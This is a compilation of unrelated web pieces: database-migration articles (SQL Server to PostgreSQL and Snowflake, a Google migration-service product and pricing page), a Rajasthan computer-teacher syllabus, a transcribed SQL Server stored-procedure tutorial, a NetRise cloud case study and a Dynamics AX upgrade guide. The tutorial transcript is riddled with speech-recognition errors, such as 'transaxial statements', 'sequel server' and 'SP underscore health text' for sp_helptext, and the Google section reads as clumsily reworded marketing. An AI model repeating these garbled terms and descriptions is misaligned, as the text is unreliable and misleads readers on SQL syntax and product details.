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How to Convert a SQL Server Stored Procedure to PostgreSQL
Are you migrating a database from SQL Server to PostgreSQL? One key task is converting your stored procedures from T-SQL to PL/pgSQL, PostgreSQL’s procedural language. In this article, you’ll learn a step-by-step process for translating a SQL Server stored procedure to its PostgreSQL equivalent. By the end, you’ll be able to confidently port your T-SQL code to run on Postgres. Understand the…
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#convert sql server procedure#database migration#postgres stored procedure#postgresql function#t-sql to plpgsql
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Google Database Migration Service Specific MySQL Databases

MySQL database instance
Use Google database migration service to migrate particular MySQL databases. You may wish to migrate all or a portion of the data from your source instance when moving to Cloud SQL, their fully managed relational database service for MySQL, PostgreSQL, and SQL Server.
All tables from all databases and schemas can be easily moved with the help of Google Database Migration Service (DMS). It can be challenging to understand how to use the tool to migrate only specific databases or tables, though.
MySQL instance
Help go over how to migrate a selection of databases and tables from many possible sources in this blog, such as on-premises MySQL, Cloud SQL for MySQL, and Amazon RDS for MySQL. The source MySQL instance of each of the MySQL instances in this example has numerous databases configured. You must have enabled binary logs on your source instance in order to proceed with this step. They will demonstrate how to move each of the following:
On-premises MySQL, includes instances with or without GTID enabled.
MySQL on Cloud SQL with GTID enabled.
MySQL on AWS RDS with GTID enabled.
An instance of Cloud SQL for MySQL will be the goal. Let’s examine each kind of migration in more detail.
Cloud database migration service
Make cloud migrations easier.
Currently available for Oracle, SQL Server, PostgreSQL and MySQL databases.
Switch from on-premises, Google Cloud, or other clouds to open source databases in the cloud.Continuously replicate data to reduce downtime during migrations.
Convert your schema and code seamlessly with the help of AI.
Serverless and simple to configure.
Google Database Migration Service Advantages
Migration made simpler
With an integrated, Gemini-assisted conversion and migration experience, you can begin migrating in a matter of clicks. Less complicated migrations allow you to take use of the cloud’s advantages sooner.
Very little downtime
Savour a completely managed service that migrates your database with the least amount of downtime possible. Serverless migrations can take an initial snapshot and then replicate data continuously, and they are quite performant at scale.
Accelerated access to AlloyDB and Cloud SQL
Gain access to the enterprise availability, stability, and security of AlloyDB for PostgreSQL and the open, standards-based Cloud SQL services.
Important characteristics
Simple to employ
You can migrate MySQL, PostgreSQL, SQL Server, and Oracle databases with the help of a guided experience that includes built-in, customized source configuration information, schema and code conversion, and the establishment of several secure networking connectivity choices. For extremely accurate and high-fidelity migrations, Google database migration service makes use of native replication capabilities. To guarantee the success of the migration, a validation can be performed prior to the migration.
Google Database Migration Service’s Gemini
With AI-powered support, database migration may be completed more quickly and easily. You can examine and convert database-resident code, such as stored procedures, triggers, and functions, to a dialect that is compatible with PostgreSQL using Gemini in DMS preview. Exploitability allows a side-by-side comparison of dialects, coupled with a thorough explanation of code and advice, to help upskill and retrain SQL developers.
Conversion and migration combined
Move your outdated Oracle workloads to PostgreSQL to modernize them. Heterogeneous migrations require less manual labour thanks to an integrated conversion workspace, and the Gemini-assisted conversion process walks you through the schema and code conversion procedure while highlighting any conversion errors for your inspection. For Oracle to Cloud SQL and AlloyDB migrations, the conversion workspace is accessible.
A Serverless Encounter
Remove the database migration’s operational responsibilities. For high-performance, continuous data replication at scale, auto-scaling assures that there are no migration servers to provision, manage, or monitor. From the first snapshot of the source database to the ongoing replication of changes, the entire process is completed with the least amount of downtime.
Safe by design
You may relax knowing that your data is safe during the transfer. Google database migration service offers a variety of private, secure connecting options to safeguard your data while it’s being transferred. All data is encrypted by default after it has been moved, and Google Cloud databases offer several security levels to satisfy even the strictest specifications.
Database migration service
Google database migration service is provided free of charge for homogeneous migrations, or migrations in which the source and destination databases use the same database engine. This involves moving sources like MySQL, PostgreSQL, and SQL Server to destinations like Cloud SQL and AlloyDB.
On a per-migration job basis, heterogeneous migrations between various database engines are paid in increments of one byte. Based on raw (uncompressed) data, bytes are counted.
Database Migration Services Pricing
The cost of the Google database migration service is detailed on this page. See the Pricing documentation to view the prices for additional goods. The pricing shown in your currency on Google Cloud SKUs are applicable if you want to pay in a currency other than USD.
Database for pricing summary The two possible migration types have varying prices for Migration Services:
Use cases referred to as homogenous, in which the source and destination databases are the same.
applications with heterogeneous engines those in which the source and destination engines differ.
Database migration services
Google database migration service is provided free of charge for native migrations to Cloud SQL or AlloyDB for PostgreSQL in homogeneous use cases:
The cost of heterogeneous migrations is determined by the gigabytes (GBs) that are processed. The first 50 GB of backfill each month are free, however usage is invoiced in byte increments on a per-migration operation basis and expressed in GB (500 MB is 0.5 GB, for example). Based on uncompressed, raw data, bytes are counted.
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Migrating from SQL Server to Snowflake Essential Steps and Benefits
Transitioning from SQL Server to Snowflake can significantly enhance your data management capabilities. Snowflake's cloud-native architecture offers numerous advantages, including scalability, flexibility, and cost-efficiency, making it a popular choice for modern data warehousing needs. This article outlines the essential steps and benefits of migrating from SQL Server to Snowflake.
Key Steps for Migration
1. Initial Assessment and Planning
Start with a thorough assessment of your existing SQL Server environment. Identify the databases, tables, and other objects that need to be migrated. Understand the data volume, dependencies, and specific requirements of your applications. Develop a comprehensive migration plan that includes timelines, resources, and risk mitigation strategies.
2. Choosing the Right Migration Tools
Select migration tools that facilitate a smooth transition from SQL Server to Snowflake. Tools such as Azure Data Factory, Matillion, and Fivetran can help automate the extraction, transformation, and loading (ETL) processes. These tools ensure data integrity and minimize downtime during the migration.
3. Schema Conversion
SQL Server and Snowflake have different schema structures. Use schema conversion tools to translate SQL Server schemas into Snowflake-compatible formats. Pay attention to data types, indexing, and partitioning strategies to optimize performance in Snowflake.
4. Data Transformation and Migration
Transform your data to align with Snowflake’s architecture. This might involve data cleansing, reformatting, and converting stored procedures and T-SQL code into Snowflake’s SQL dialect. Leverage Snowflake’s capabilities, such as support for semi-structured data and time travel features, to enhance your data operations.
5. Testing and Validation
Perform thorough testing and validation to ensure that the data has been accurately migrated and that all applications function as expected. Validate data integrity, check for any discrepancies, and conduct performance testing to ensure that Snowflake meets your performance requirements.
6. Security and Compliance
Implement robust security measures to protect your data during and after the migration. Ensure that access controls, encryption, and compliance requirements are met in the Snowflake environment. Snowflake provides extensive security features, including role-based access control and end-to-end encryption.
Benefits of Migrating to Snowflake
1. Scalability and Performance
Snowflake’s architecture allows for automatic scaling of compute resources to handle varying workloads efficiently. This elasticity ensures consistent performance without manual intervention, making it ideal for businesses with growing and fluctuating data needs.
2. Cost Efficiency
With Snowflake’s pay-as-you-go pricing model, you only pay for the storage and compute resources you use. This can lead to significant cost savings, especially for organizations with variable data workloads. Snowflake's separation of storage and compute allows you to optimize resource usage and reduce costs.
3. Simplified Data Management
Snowflake offers a fully managed service, reducing the burden of database administration. Automatic updates, maintenance, and performance tuning are handled by Snowflake, allowing your IT team to focus on more strategic tasks and innovations.
4. Advanced Analytics Capabilities
Snowflake supports diverse data types and integrates seamlessly with various data analytics tools. This enables advanced analytics and machine learning applications, allowing you to gain deeper insights from your data. Snowflake’s support for semi-structured data like JSON, Avro, and Parquet enhances your analytical capabilities.
5. Enhanced Data Sharing and Collaboration
Snowflake’s secure data sharing capabilities facilitate seamless collaboration across departments and with external partners. Real-time data sharing without the need for complex ETL processes improves efficiency and enables better decision-making.
6. Robust Security Features
Snowflake incorporates comprehensive security measures, including end-to-end encryption, role-based access control, and detailed auditing capabilities. These features ensure that your data remains secure and compliant with regulatory standards.
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Rajasthan Computer Teacher Syllabus 2021
RPSC Computer Teacher Syllabus 2021
Govt Computer Teacher Syllabus 2021- In Rajasthan, applications for computer teacher vacancy will be taken. With the release of the Rajasthan Computer Teacher Vacancy 2021 official notification, Rajasthan Computer Teacher Syllabus 2021 will also be given along with it.
कंप्यूटर शिक्षक सिलेबस 2021RPSC computer teacher syllabus 2021
Online application will be taken for 14601 posts of Computer Computer Teacher, out of which no posts have been fixed for first grade yet, 3616 posts for second class and 10985 posts for third class will be applied.
Computer Teacher Official Notification- Click Here
कंप्यूटर टीचर सिलेबस 2021
कंप्यूटर शिक्षक के 14601 पदों पर ऑनलाइन आवेदन लिया जाएगा जिसमें से प्रथम ग्रेड की अभी कोई पद निर्धारित नहीं किए गए हैं द्वितीय श्रेणी के लिए 3616 पद व तृतीय श्रेणी के लिए 10985 पदों पर आवेदन दिए जाएंगे।
Join Whatsapp Group Daily Govt Jobs Updates, Govt Scheme, Current Affairs WhatsApp Group Join Click Here – 3 WhatsApp Group Join Click Here – 4 WhatsApp Group Join Click Here- 5 WhatsApp Group Join Click Here- 6
Analyst cum Programmer Syllabus 2021
Written Examination Analyst cum Programmer 2021
PAPER – I
Reasoning Test & Numerical Analysis & General Knowledge
Problem solving, Data Interpretation, Data Sufficiency, Logical Reasoning and Analytical Reasoning. General Knowledge and Current Affairs relating to India and Rajasthan.
Data Base Management Systems
ER Diagram, data models- Relational and Object Oriented databases.
Data Base Design : Conceptual data base design, Normalization Primitive and Composite data types, concept of physical and logical databases, data abstraction and data independence, data aggregation and Relational Algebra.
Application Development using SQL : Host Language interface, embedded SQL programming, Stored procedures and triggers and views, Constraints assertions.
Internal of RDBMS : Physical data organisation in sequential, indexed random and hashed files. Inverted and multilist structures, B trees, B+ trees, Query Optimisation, Join algorithm, Transaction Processing, concurrency control and recovery management. Transaction model properties and state serialisability. Lock base protocols, two phase locking.
Different server multi user, multiprocess operating systems and requirement for client interfaces in distributed application environments.
Data Communication and Computer Networks
Computer Network Architecture, Circuit switching, Packet And Massage Switching, Network Structure. Physical Layer, Data Link Layer, Framing. Retransmission algorithms.
Analyst cum Programmer Syllabus 2021
TCP/IP Stack. IP Networks and Internet. DNS and Firewalls. Intrusion Detection and Prevention. Transport layer and TCP/IP. Network Management And Interoperability.
Multiple access and Aloha. CSMA/CD and Ethernet. High Speed LANs and topologies. Broadcast routing and spanning trees.
PAPER – II System Analysis and Design
Concept System : Definition and characteristics, elements and boundaries, types of system development lifecycle, recognition of needs, feasibility study, prototyping, role of system analyst. System planning and tools like DFD, data dictionary, decision trees, structured analysis and decision tables. IPO charts, structured walkthrough, input output form design, requirement and classification of forms, layout considerations form control, object oriented Design Concepts and methods. Software Life Cycle, Software Engineering paradigms.
Analysis System : Feasibility study requirement analysis, Cost benefit analysis, Planning systems, Analysis tools and techniques.
Design System : design fundamentals, Modular Design, Data and procedural design, object oriented design.
Computer Teacher Syllabus PDF Download
Syllabus Analyst-cum-Programmer-converted
Download
Software Maintenance : Maintenance Characteristics, Maintainability, Maintenance tasks and side effects.
Development System : Code documentation, Program design paradigms, Efficiency Consideration. Verification, Validation and Testing: testing methods, Formal Program Verification, Testing Strategies.
Software Project Management
Project Management Concept : The Management Spectrum, People, Product, Process & Project.
Process & Project Matrix : Software Measurement Size Oriented Matrices, Function Oriented Matrices.
Risk Analysis and Management : Risk Identification, Projection, Risk Refinement, Risk Monitoring And Management.
Project Planning : Objectives, Decomposition Techniques, Empirical Estimation Model.
Project Scheduling & Tracking, Software Quality Assurance, Software Configuration Management.
RPSC Computer Teacher Bharti Syllabus 2021
Before releasing the syllabus of Rajasthan Competition Vacancy 2021, their online applications are taken, along with the online application, their syllabus and qualification, pay scale etc. are determined, yet its official notification has not been received.
Computer shikshak bharti 2021 syllabus
राजस्थान कंप्यूटर शिक्षक भर्ती 2021 जो भी से आने की संभावना है वह इस प्रकार से है इनका कन्फर्मेशन ऑफिशियल नोटिफिकेशन आने के बाद में होगा ऑफिशियल नोटिफिकेशन में सिलेबस की घोषणा होने के बाद में आपको इसी पेज पर सूचित कर दिया जाएगा या आप ऑफिशियल वेबसाइट भी विजिट कर सकते हैं ।
Rajasthan Computer Teacher Official Notification 2021- CLick Here
Computer Teacher Bharti 2021 Syllabus देखने के लिए क्लिक करे
Rajasthan Computer Teacher Recruitment Rajasthan Computer Teacher Recruitment has come for the first time, so there is no confirmation of syllabus, after the official notification, you will get complete information of Rajasthan Computer Teacher Recruitment 2021 Syllabus.
Rajasthan Computer Teacher Vacancy 202
1कंप्यूटर शिक्षक भर्ती 2021 में आने वाले सब्जेक्ट
कंप्यूटर, जीके, हिंदी, अंग्रेजी, विज्ञान, गणित, रिजनिंग यह सब्जेक्ट आने की संभावना है। जिसमें कंप्यूटर का पार्ट 50% या 70% रहेगा फिलहाल यह कोई ऑफिशियल सूचना नहीं है। ऑफिशियल सूचना आने के बाद में आपको इसी पेज पर अपडेट कर दिया जाएगा ।
Computer Teacher Admit Card 202
1Rajasthan Computer Teacher Bharti Selection process
Rajasthan Computer Teacher Recruitment 2021 syllabus will be followed by an exam, merit list will be released on the basis of the same.
Download Rajasthan Computer Teacher Recruitment 2021 Syllabus PDF
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Stored Procedures with SQL
Welcome to presume technologies, I am venker. This is part 18 of sequel server in this session, we'll understand what a stored procedure is. A simple stored procedure example creating a stored procedure with parameters altering a stored procedure, viewing the text of a stored procedure and finally, we will see how to drop a stored procedure. A stored procedure is a group of transaxial statements. If you ever have a situation where you have to write the same query over and over again, you can save that specific query as a stored procedure and call it just by its name. Let'S understand what we mean by this with an example. Now I have this table called TBL employee, which has got you know the ID name, gender and department ID columns.
Let'S say I want name and gender of an employee, so we type in select name agenda from TBL employee. So, every time I want the name and gender of an employee, you know I have to write this query. Okay, instead of that, what we can actually do is wrap this query inside a stored procedure and call that stored procedure rather than you having to write. This query again and again: so how do we create a stored procedure to create a stored procedure? We use, create procedure, command so create procedure, and then you have to give this procedure an name. Okay, so SP, let us say, get employees okay, since this procedure is getting us, you know the employee name and gender, I'm giving it get employees and look at this in the name. I have this letters. Sp. A common naming convention for store procedures is that we usually prefix that, with small letter S and small letter, P, okay, indicating that you know just by looking at this name, you can tell okay.
This is a stored procedure. Alright so create procedure procedure name and then you will use as begin and and okay. So the definition of your stored procedure goes between this begin and end okay. So this is the body of your stored procedure. Okay. Now, when I execute this command, what's going to happen is a stored procedure with this name gets created in this database, which is nothing but sample that we have selected here. Okay. Now, if you want to look at the stored procedure that you have just created, you know you want to make sure whether if this procedure is actually created or not, okay go into that database which is sample, and then you have this folder called program ability expand That and you should see a folder called stored procedures.
If you expand that you know we don't have it currently listed there, just refresh that, and you should see that stored procedure which we have just created, which is sp, get employees okay, so anytime, you want the name and gender of an employee. Instead of writing. This query again, what you can actually do is execute the stored procedure. Okay, so if you want to execute, you just need the name of the procedure. So what happens when I execute the stored procedure? Okay, to execute the stored procedure, you just highlight that and click execute and you get the name and gender. You don't have to write that query any more. Now you might be wondering it's a very simple query. Why don't I write that rather than having to create this procedure and then invoke it now, this procedure may be simple in reality, the procedures will be long.
You know there are very no stored procedures with over three thousands of lines, for example, okay, and not only that there are several other benefits of using stored procedures from security to network, reducing network traffic, etc. We will be talking about the advantages of stored procedures in a very great detail in a later session. Ok, so we use create procedure or create proc statement to create sp, I mean you can either say create procedure or you can just say, create proc for shortcut. Ok to create a stored procedure, we will talk about the naming convention of the stored procedures in just a bit okay and to execute the stored procedure. We have seen how to execute that stored procedure.
You know you just copy that the name of the stored procedure and you click this execute button and what happens the sequence statement within that short procedure gets executed and it returns the name and gender columns all right. So that's one way to execute it or you can use the exact keyword and then click this or you can use a full, execute keyword and then again, plus f5, or you can also graphically execute the stored procedure. Just right-click on the stored procedure and select execute stored procedure and the moment you do that it shows this vendor. This procedure doesn't have any parameters. Otherwise you will have to supply the values for the parameters. In just a bit. We will see how to create a stored procedure that takes parameters now, when I click OK, it executes that stored procedure.
Look at that alright, so those are the different ways to execute stored procedure. Now let us look at a simple example of how to create a stored procedure with parameters. Okay, so let's go back to that table TBL employees all right now. What I want to do is I: I want to create a stored procedure which takes two parameters. Maybe gender and the department ID okay, for example, if I pass gender as male and Department IDs one tier stored procedure, it should give me employees only within that gender and within that department. Okay, so your store procedure needs to have these parameters. Okay. So, let's see how to do that so as usual to create a stored procedure, we use create procedure command so create procedure and give your procedure a meaningful name, so SP get employees by gender and department okay. So I want the employees by gender and Department. Now look at this now this procedure.
Okay, the user who invokes your stored procedure, is going to pass the stored procedure, the gender and the department ID so for them to be able to pass the values for gender and department ID. They should be parameters just like how functions have parameters in c-sharp or any other programming. Language stood procedures can also have parameters. Okay, so one is the gender parameter and if you look at gender, it's text here, so the data type is going to be n, where care of maybe 20 and department ID Department ID is going to be integers or Department ID integer as begin, and so the Definition of your stored procedure goes in between these lines.
Okay, so what do we want from the table? We want the name, and maybe just the gender and also the department ID from which table we wanted from TBL employee table, but we don't want all names genders and department IDs. We want to filter them with what the user is going to pass in is going to pass in the gender and department ID. So we are going to say, the gender column here should be equal to whatever the user is passing in at gender and along the same lines and department ID let's bring this to. Another line is equal to whatever the user is going to pass in okay. So these parameters are like placeholders when users execute your stored procedure, they're going to pass in values for this gender and department ID which will be replaced at execution time. Okay. So let's create the store procedure so to create that select the entire stored procedure. Click execute button command completed successfully. Now, if you refresh the stored procedures folder, you should see SP get employees, Genda and department, okay, now to execute the stored procedure. I just need the name of the stored procedure and look at this. This stored procedure now is expecting gender and department ID parameters. Now look at this. If I don't pass the parameters and if I did try to execute that stored procedure, see highlight that and then plus execute. What'S going to happen, this procedure or function, SP get employees by gender and department, expects parameter, add gender which was not supplied, and that makes sense it's expecting a gender parameter which is not supplied. So we need to pass in the gender parameter since gender is of type and we're care I have to use single quotes, so I want the male employees within you know: department ID 1, so department ID is 1. So these are the two parameters that this stored procedure expects and we need to pass them. So when I press f5 now look at that, I only get male employees within that. You know department ID 1, okay. On the other hand, if I want all the male employees and department ID do a 2, I can do so all right now, when you have parameters like this, you know what you're doing is you're just passing in the parameters. So so so this male value will be taken into at gender parameter where, as this number 1 is passed into department, ID parameter. Okay, now what happens? If I put it the other way on, I am passing one first, okay, so what's going to happen, it will take this one into gender and one is an integer, but gender is of type and where cab and this one will be converted into n we're care. Implicitly, no problem, but it comes to the second parameter male. It tries to take this into Department ID parameter and if you look at the data type of department ID parameter, it is integer okay, so it tries to convert this string into integer and it fails - and it throws an exception - look at this. If I try to execute this now, I get an exception saying that error converting data type where care to integer, so it is trying to convert this mail. You know string of type and where care into integer and we get that error. Okay. So when you have multiple parameters that the stored procedure is expecting and if you're passing just values the values order, you know the order in which you pass them is important. Okay, the first parameter will be used. I mean the value here. The first argument will be used with the first parameter and the second argument will be used with the second parameter. Okay, that's why the order is important, but if you use the parameter names like this, let's say I want to pass one two at Department ID. I can specify the name of the parameter like so and similarly I can specify the name of the parameter for gender.
So when I execute this now, I will have no issues because you are specifying the name of the parameter. Okay, so sequence of a knows. Okay, this one is meant, you know to be the value for Department, ID parameter and mail is the value for gender parameter. It'S only when you don't specify the names of the parameter. The order of the the order in which you pass the parameter is parameters is important. Alright and okay. So we have seen how to create a simple stored procedure and how to create a procedure with parameters as well, and we have seen how to execute them as well. Okay, now, once you have the stored procedures, let's say I have created two procedures until now. Sp get employees and, as we get employees by gender and Department.
Now, if I want to view the text of these two procedures, what are the different ways that are available? One way is to simply right: click on that stored procedure, script, stored procedure as create two new query - editor window - this you know, generates the contents of that stored procedure. Look at this. This is the stored procedure. Definition that we have created create procedure procedure named. As begin and and then our query, this is one way to look at the definition of a stored procedure and the other way is to use a system stored procedure. You know these stored procedures that we have created here are user-defined stored procedures.
These are not system, stored procedures, now, sequel server, you know, has some system stored procedures defined okay and we use it for certain tasks. For example, I want to find the text of a stored procedure. How do I do that? I can use a system stored procedure called SP underscore health text. Okay, so look at this. This is the name of the system store procedure. Sp underscore help text, okay, SP help text and then, if I pass in the name of the stored procedure, there SP get employees and then, when I select them together and execute this look at this, I get the text of my stored procedure. You can then copy that paste it here and see. How does the implementation of the stored procedure looks like okay, so to view the definition of a stored procedure, you can either right-click on that script. Stored procedure as create two new query, editor window or you can use the system stored procedure, SP underscore health text, followed by the name of the stored procedure, which gives you the text of the stored procedure. Okay, now in this slide, if you look at this, you know whenever we name user-defined stored procedure, microsoft recommends not to use SP underscore.
You know prefix for user-defined stored procedures, because the reason is system stored procedures has that prefix. Okay. Now, if you happen to use SP underscore prefix for your user-defined stored procedures, there are two problems number one. There will be an ambiguity between user-defined stored procedures and system defined stored procedures, just by looking at the name. We cannot tell you know. Is this a user define, stored procedure or system defines stored procedure? Okay and another problem is, with future releases of you, know new sequence of a version. There may be name conflicts, you know if you create, let's say SP underscore ket date. Just you know, stored procedure and in the future release there is a system stored procedure, which is you know similarly named SP underscore get date. You know it's going to conflict with the user stored procedure, okay. So, to avoid problems like this, it's always better not to prefix user-defined, stored procedures with SP underscore prefix, alright. So to change the stored procedure.
Now, once we have created a stored procedure, for example, I have the stored procedure, SP get employees after I have created the stored procedure. Let'S say I want to change its implementation in some way. How do I do that? Let'S say at the moment when I execute this SP get employee stored procedure. I am NOT getting the names sorted, you know I mean the names are basically not sorted. I want them to be sorted, so how do I do that? I will use the order by Clause so order by name okay, so I am changing the implementation of this tour procedure now, if I execute this create procedure once again, look at this, we get an error stating that there is already an object named SP get employees. Why we already have that and we are trying to create that again with the same name. So obviously we get that error. Our intention here is to change the definition of that stored procedure, not to create another stored procedure. So if you want to change the definition of the stored procedure, then you say alter procedure and I press f5.
The stored procedure gets changed now. If we execute that we should have the name sorted okay, so we use all the procedures statement to change the definition of a stored procedure and to delete the stored procedure. We use drop procedure procedure name just like you know. If you want to drop a table, you will use drop table, table name. Okay, so, similarly to drop a procedure, you will say: drop, drop procedure and procedure. Name, for example, I want to drop or delete SP get employees. You know I just pass it there. I press f5 and then, if i refresh the stored procedures, folder it's gone now it's deleted or what you can do: alternately right-click on that and select delete okay. Now it's also possible to encrypt the text of the stored procedure and it's very simple to do. For example, I have the stored procedure now as we get employees by gender and Department look at this now.
This is not encrypted at the moment. So when I use SP underscore health text and when I press f5, I am able to get the text of that stored procedure. So that's how the stored procedure is implemented. Now, if I want to encrypt the contents, the text of the stored procedure, I can do that. How do I do that? All you have to do is to use this switch, this option with encryption, okay, and we want to alter that. So I will say alter now when I press f5 look at this command completed successfully and now the moment i refresh this folder look at this. We get a little lock symbol there indicating that this stored procedure is now encrypted.
Okay, now, if somebody tries to you, know, get the text of the encrypted stored procedure, we get a message saying that the text for the object is encrypted and - and we cannot retrieve the text of that - ok and you get the same kind of message when you Kind of use script stored procedure as create two new query: editor window. Okay, we get this error box, you know. If you look at here. It says that text is encrypted, so once a stored procedure is encrypted. You cannot view the text of that stored procedure, but, however, if you want to delete the stored procedure, you can go ahead and delete it and I'll just right click and select delete it gets deleted, but you cannot view the contents of his stored procedure that is Encrypted all right in the next session, we will see how to create an invocation procedure with output parameters. In this session, we have seen how to create a stored procedure with input parameters in the next session. We'Ll talk about creating stored procedures with output parameters. On this slide, you can find resources for asp.net in c-sharp interview questions. That'S it for today. Thank you for listening. Have a great day,
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Convert Functions to Stored Procedures for Better Performance?
Introduction Hey there, fellow SQL Server enthusiast! Have you ever found yourself wondering if you should convert your user-defined functions to stored procedures to improve performance? Well, you’re not alone! As someone who’s spent countless hours tuning databases, I’ve often pondered this question myself. In this article, we’ll dive into the pros and cons of making this switch and explore…
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NetRise Improves Accessibility with Google Cloud

NetRise Security
With the help of NetRise’s platform, users may become more adept at spotting potential problems with software in embedded systems which are often thought of as “black boxes.” As they move this goal forward, they see that security operations teams are severely lacking in their awareness of the vulnerabilities of third-party software, which is mostly based on open-source software.
Open-source software, which is characterized by a lack of standards, makes global analysis extremely difficult, particularly in the event of supply chain threats. Cyber-physical systems (CPS) and the Extended Internet of Things (XIoT) both increase this complexity. Here, proprietary firmware packaging formats and unique manufacturer standards often conceal embedded systems, making automated analysis technically difficult.
These difficulties not only show the need of reliable solutions but also the importance of accuracy, scalability, and user-friendliness in a complex environment.
Taking care of the invisible Trace which integrates large language models (LLM) with Cloud SQL for PostgreSQL, is essential to their strategy for resolving supply chain security issues. A properly maintained relational database is essential to Trace because it supports their query and data management features and makes code-origin tracing and vulnerability detection accurate and efficient.
Security teams don’t need to reprocess the same NetRise asset images the files within their embedded systems in order to conduct extensive, scalable searches across all file assets. Imagine a Python module being compromised by malicious code. Trace gives an easy-to-understand graph-based display of the effect and identifies the impacted NetRise files, assets, or open-source programs.
Trace is enhanced with a patented extraction engine that breaks down intricate software file formats, including bootloaders, ISOs, docker images, firmware, standalone software packages, virtual machines, and more. This cloud-based extraction engine exposes any nested file formats in an asset before it is fed into the NetRise system.
Next, using machine learning methods, the retrieved text files are converted into vectorized numerical representations. These embeddings are then stored in Cloud SQL for PostgreSQL using pgvector, which makes analysis easier by allowing semantic searches using natural language (for example, for hard-coded credentials or keys). They can perform more intricate queries and bigger datasets thanks to the integration of pgvector in Cloud SQL, making the solution more reliable and scalable.
Day-long turnarounds only take minutes now
For us, using Google Cloud’s managed services changed everything. They were able to extend their architecture and optimize their queries with the aid of Cloud SQL, which greatly decreased the amount of time and resources required for data processing. Additionally, they were able to retain a better user experience by halving their server resources and cutting response times by 60% using pgvector.
Most significantly, their customers’ and internal researchers’ trace capabilities are made possible by the combination of Cloud SQL and pgvector, which spares them the months of labor that they would have otherwise needed for detection engineering. Threat research and security operations have improved by an astounding ten times, which benefits Netrise’s research and advisory use cases as well as their clients’ capacity to react both proactively and reactively to security issues.
With Cloud SQL, they can focus on what they do best, which is developing exceptional security solutions for their customers. This enables us to improve their staff of security researchers and detection engineers by reallocating monies that are typically designated for infrastructure engineering.
They moved from Elasticsearch to BigQuery in order to expedite their data processing capabilities. Procedures that used to take a whole day now just take a few minutes to complete. For example, in a recent benchmark in which they managed 33,600 assets, a process that usually took more than 24 hours to complete now takes just 47 minutes, which is more than 30 times quicker than their previous performance.
The power of having a uniform data cloud environment is shown when BigQuery and Cloud SQL are combined. Their capacity to handle large-scale data fast and precisely has improved because to the combined use of BigQuery’s analytics and Cloud SQL’s operational database administration, which has improved their analytical and decision-making processes.
Laying out a safe digital future
Their goal is simple: They want to provide their clients a complete picture of the risk that exists today across all of their assets, including cloud, virtual machines, XIoT devices, and Docker containers. For us, the first step in safeguarding the digital world is to completely comprehend it.
Their goals are to find deeper problems in these assets, simplify and expedite the identification process, and create well-defined, systematic strategies for fixing these problems by using AI and sophisticated analytics.
Their ultimate goal is to go from asset-focused antivirus into endpoint detection and response (EDR), then into the next stage of extended detection and response (XDR). In order to improve detection and response tactics with real-time supply-chain-based alerts, they are doing this by adding an extra layer derived from supply chain dynamics. Industry analysts and professionals have lately discussed the need for this additional layer.
NetRise inc Google Cloud’s technologies help NetRise in their mission to find vulnerabilities in software supply chains and XIoT devices. They have completely changed their data management and analysis capabilities by using Cloud SQL for PostgreSQL and BigQuery, which makes accurate, scalable, and efficient vulnerability detection possible.
Through this transition, we have been able to improve their capacity to provide thorough security insights and simplify their processes. In the end, it may assist us in tackling the intricate problems associated with cybersecurity in the linked digital world of today.
The flexibility and intricate setup that Google provides in its cloud solutions are valued at NetRise. Not only is Google Cloud’s technology excellent, but its people are also kind, informed, and a joy to work with. They have faith that Google would support them in developing answers for whatever obstacles they face when they use larger language models and AI.
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Finance and Operations upgrade from AX 2012
Do you know that you can benefit from Customer Relationship Management (CRM) and Enterprise Resource Planning (ERP) services on a single platform? So, if you are still using the old version of Microsoft Dynamics, it is time to upgrade AX 2012 to D365.
Microsoft Dynamics 365 is a modular software-as-a-service (SaaS) platform built to revamp and enhance employees, customers, and business activities. It is a perfect combination of CRM and ERP capabilities. Microsoft Dynamics 365 eliminates the need for separate, siloed sales and marketing processes. It provides automated, integrated, and intelligent sales and marketing tools that connect, prioritise, and convert leads into paying clients. Moreover, it’s built on Microsoft Azure, which provides a secure platform as well as a diverse set of services. It’s also directly linked with Microsoft 365’s productivity apps, allowing you to manage people and services in one place.
Why should you upgrade to Dynamics 365?
Cost-effectiveness
The D365 platform has the potential to save the company a lot of money. This is due to Microsoft’s own efforts to improve the platform and its apps, hence eliminating the need for on-premises servers. Microsoft, not the organisation, is responsible for maintaining the ERP system and sending out automated upgrades. Moreover, being a cost-effective platform, it is an ideal CRM for the manufacturing industry.
Robust security
The cloud-based infrastructure of Microsoft Dynamics 365 offers built-in security features. This includes elements such as application role-based verification and other identity management tools that significantly limit corporate privacy threats.
It is compatible with every device
Microsoft Dynamics 365 is compatible with any device, so it is highly beneficial to upgrade AX 2012 to D365. Staff will be able to access all programs effortlessly regardless of the browser or software that a company utilises. It’s considerably easier to use programs now that only one sign-on is required.
How to upgrade AX 2012 to D365?
Analyse
First, sign up for a preview subscription to begin this phase. Then sign up for an LCS trial.
Microsoft Dynamics Lifecycle Services (LCS) is a collaboration site based on Microsoft Azure that increases the predictability and quality of project delivery. After signing up for an LCS project, create a new project and select upgrade AX 2012 to D365 as the project methodology.
Run the upgrade analyser tool
It operates against the AX 2012 environment and analyses the tasks you will have to do. In order to submit the data required for the upgrading process, you’ll also need a pre-upgrade checklist installed in your Dynamics AX 2012 system.
Data cleansing assists in identifying data that can be eliminated without affecting functioning. You can save money on subscriptions and time on the update go-live process by lowering the size.
SQL configuration process studies and suggests optimisation to make sure that SQL functions optimally. It also minimises the time required for the go-live upgrade procedure.
Deprecated features refer to the features you presently use but are not available in Dynamics 365. As a result, the procedure aids in the early detection of functional gaps.
Run code upgrade estimation tool
This process carries your code from AX 2012, translates it to the new form, and alerts you to any disputes that need to be resolved later by a developer. This stage is the foundation for calculating the cost of your code upgrade.
Utilise demo environment
They are the default environments that help estimate new features. It also allows you to conduct a fit gap analysis of the standard techniques used in AX 2012 but not available in D365. These environments can be either deployed in Azure or downloaded as VMs that can be run on your hardware.
Create a project plan
This methodology includes a template for a project plan. The outcome from the Analyse phase’s preceding steps is utilised to fill the project plan for the upgrading project. All testing specifics, including data upgrade testing, cutover testing, information about the different resource assignments for those activities, and functional test pass iterations; will be included in the project plan.
Execute
Sign up for the LCS implementation project
The public preview project utilised for the Analyse phase will be discarded at this point. You’ll need to register for a new LCS project called an Implementation project now. You will receive instructions on how to sign up for a new LCS project as you buy a Dynamics 365 membership.
Identify the project as AX 2012 and perform the preparation task
You’ll be directed via the Project On boarding wizard after signing in to your LCS implementation project. The Legacy System field in the Project Scope portion of the Project on boarding wizard is used to specify the project as an AX 2012 upgrade. Microsoft Dynamics AX system and database administrators shall complete the tasks identified by the upgrade analyser tool and detailed in your upgrade project plan.
Upgrade the code
